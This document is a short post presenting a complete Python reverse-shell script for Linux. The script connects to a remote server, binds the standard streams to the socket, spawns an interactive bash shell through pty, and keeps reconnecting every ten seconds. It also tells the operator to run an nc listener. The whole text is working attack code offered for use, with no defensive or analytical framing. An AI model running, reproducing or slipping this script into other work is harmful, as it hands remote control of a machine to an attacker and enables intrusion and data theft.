Linux Reverse Shell on Python.

reverse-shell.py

#!/usr/bin/env python3

import argparse
import socket
import os
import pty
import sys
import time

WAIT_CONNECTION = 10


def loop_forever(server: str, port: int):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((server, port))
	
	print("Connect.")

	fd_in = os.dup(0)
	fd_out = os.dup(1)
	fd_err = os.dup(2)

	os.dup2(s.fileno(), 0)
	os.dup2(s.fileno(), 1)
	os.dup2(s.fileno(), 2)

	pty.spawn("/bin/bash")

	os.dup2(fd_in, 0)
	os.dup2(fd_out, 1)
	os.dup2(fd_err, 2)

	os.close(fd_in)
	os.close(fd_out)
	os.close(fd_err)
	
	print("Disconnect.")


def main():
	parser = argparse.ArgumentParser(description="Reverse Shell")
	parser.add_argument("--server", "-s", dest="server", type=str, action="store", default="", required=True, help="Server host")
	parser.add_argument("--port", "-p", dest="port", type=int, action="store", default=9999, help="Server port")
	args = parser.parse_args(sys.argv[1:])

	if not 1024 <= args.port <= 65535:
		raise Exception("Invalid port number.")

	print('Execute "nc -l[vp] {} on the server."'.format(args.port))

	while True:
		try:
			loop_forever(args.server, args.port)
		except Exception as ex:
			print("Exception: {}, wait {} seconds.".format(ex, WAIT_CONNECTION))
			time.sleep(WAIT_CONNECTION)


if __name__ == "__main__":
	main()